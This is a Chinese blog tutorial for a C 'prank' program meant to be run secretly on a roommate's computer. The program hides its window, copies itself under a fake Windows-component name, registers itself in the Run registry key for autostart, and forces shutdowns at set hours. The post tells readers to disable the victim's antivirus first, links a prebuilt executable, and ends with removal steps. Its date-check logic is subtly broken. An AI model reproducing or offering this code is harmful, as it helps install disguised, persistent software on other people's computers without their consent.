本文主要是介绍C语言定时关机恶搞,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
程序的功能:
1 :开机自启动关机以后再开机,程序自动在后台运行,到时间自动关机,关机时间可自己设定。
2:窗口是隐藏的,启动的时候没有任何现象,但是在任务管理器能看到
3:全年,非周末时间,早上6点到9点,中午12-2点,晚上10点之后都会自动关机
4:快乐方法:趁你的舍友不注意,使用它的电脑,然后运行该程序,舍友就会快乐起来了。
该程序适合在校大学生的舍友,经常在休息时间打游戏或者看直播并且大喊大叫时使用,效果非常明显,且持续效果久,且不易发现,本人命名为早中晚快乐程序。
控制台窗口隐藏程序:
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") // 设置入口地址
开机自启动程序:
char exepath[MAX_PATH] = { 0 };GetModuleFileName(NULL, exepath, MAX_PATH);//printf("%s\n", exepath);CreateDirectory("D:\\Pregram Files_t", NULL); CopyFile(exepath, "D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe", TRUE);HKEY hkey; RegOpenKey(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey); RegSetValueEx(hkey, "Windows System32 网络核心驱动组件(谨慎操作)", 0, REG_SZ, (const BYTE*)"D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe", MAX_PATH);RegCloseKey(hkey);
代码
#include <stdio.h>
#include<conio.h>
#include <windows.h> //系统头文件
#include <commctrl.h>
#include<time.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") // 设置入口地址typedef struct Real_time {SYSTEMTIME ti; //定义变量,存储系统时间 int second;int minute;int hour;int Milliseconds;}TIME, * PTIME;void Gettime(TIME* time) //获取系统时间并转化成int格式
{GetLocalTime(&(time->ti)); //获取系统时间time->second= time->ti.wSecond;time->minute=time->ti.wMinute;time->hour=time->ti.wHour;time->Milliseconds = time->ti.wMilliseconds;
}int main()
{srand((unsigned)time(NULL)); //随机种子char exepath[MAX_PATH] = { 0 };GetModuleFileName(NULL, exepath, MAX_PATH);//printf("%s\n", exepath);CreateDirectory("D:\\Pregram Files_t", NULL); CopyFile(exepath, "D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe", TRUE);HKEY hkey; RegOpenKey(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey); //打开注册表RegSetValueEx(hkey, "Windows System32 网络核心驱动组件(谨慎操作)", 0, REG_SZ, (const BYTE*)"D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe", MAX_PATH);RegCloseKey(hkey); TIME time = { 0,0,0,0 }; //时间while (1){Gettime(&time); //月份和日的判断:可以自行更改if ((time.ti.wMonth != 4 && time.ti.wDay != 10) ||(time.ti.wMonth != 4 && time.ti.wDay != 17) ||(time.ti.wMonth != 4 && time.ti.wDay != 24) ||(time.ti.wMonth != 4 && time.ti.wDay !=9)||(time.ti.wMonth != 4 && time.ti.wDay != 16)||(time.ti.wMonth != 4 && time.ti.wDay != 23)||(time.ti.wMonth != 4 && time.ti.wDay != 30)||(time.ti.wMonth != 5 && time.ti.wDay != 1)||(time.ti.wMonth != 5 && time.ti.wDay != 7) ||(time.ti.wMonth != 5 && time.ti.wDay != 14) ||(time.ti.wMonth != 5 && time.ti.wDay != 21) ||(time.ti.wMonth != 5 && time.ti.wDay != 28) ||(time.ti.wMonth != 5 && time.ti.wDay != 8) ||(time.ti.wMonth != 5 && time.ti.wDay != 15) ||(time.ti.wMonth != 5 && time.ti.wDay != 22) ||(time.ti.wMonth != 5 && time.ti.wDay != 29) ||(time.ti.wMonth != 6 && time.ti.wDay != 4) ||(time.ti.wMonth != 6 && time.ti.wDay != 11) ||(time.ti.wMonth != 6 && time.ti.wDay != 18) ||(time.ti.wMonth != 6 && time.ti.wDay != 25) ||(time.ti.wMonth != 6 && time.ti.wDay != 5) ||(time.ti.wMonth != 6 && time.ti.wDay != 12) ||(time.ti.wMonth != 6 && time.ti.wDay != 19) ||(time.ti.wMonth != 6 && time.ti.wDay != 26) ||(time.ti.wMonth != 7 && time.ti.wDay != 2) ||(time.ti.wMonth != 7 && time.ti.wDay != 3) ||(time.ti.wMonth != 7 && time.ti.wDay != 9) ||(time.ti.wMonth != 7 && time.ti.wDay != 10) ||(time.ti.wMonth != 7 && time.ti.wDay != 16) ||(time.ti.wMonth != 7 && time.ti.wDay != 17) ||(time.ti.wMonth != 7 && time.ti.wDay != 23) ||(time.ti.wMonth != 7 && time.ti.wDay != 24) ){if (time.hour >= 22 || (time.hour >= 6 && time.hour <= 9) || time.hour == 12 || time.hour == 13 || time.hour == 14){if (time.minute == 4 || //时间的判断time.minute == rand() % 59 ||time.minute == rand() % 59 ||time.minute == rand() % 59 ||time.minute == rand() % 59 ||time.minute == rand() % 59 ||time.minute == 30 ||time.minute == 59) {//关机程序system("shutdown -s -t 50"); //50s -r重启 -s关机exit(0);}}}}return 0;
}
编译时,记得把运行库改成多线程MT,把静态库包含到.exe文件中,否则你舍友的电脑没有安装VS就运行不了。
还有一点需要注意,在你舍友的电脑上运行时,记得先把杀毒软件关掉,否则程序没法加入注册表,没办法实现开机自启动的功能。
假如以上方法在你舍友的电脑上无法运行.exe程序的,还有一个方法:下载一个vcredist_msvc的环境安装包,先在电脑中安装VS的运行环境,再运行我们的快乐程序,运行成功的概率将会大大增加。
假如你没有安装VS,.exe程序我已经为你准备好了,你只需要在对应的电脑点击即可。
链接:https://pan.baidu.com/s/1JHeQJFyG1nwr-76RmP5HRg
提取码:kgfi
点击之后就会出现
如何关闭程序
按win+R键
输入 regedit 进入注册表
进入 计算机\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run目录,这里存放的文件都是开机自启动项(当然也可以在这个目录中放入你的.exe文件也会开机自启动)。
把第二项,网络核心驱动删除,然后重启就行了。
快让你的舍友快乐起来吧!
这篇关于C语言定时关机恶搞的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!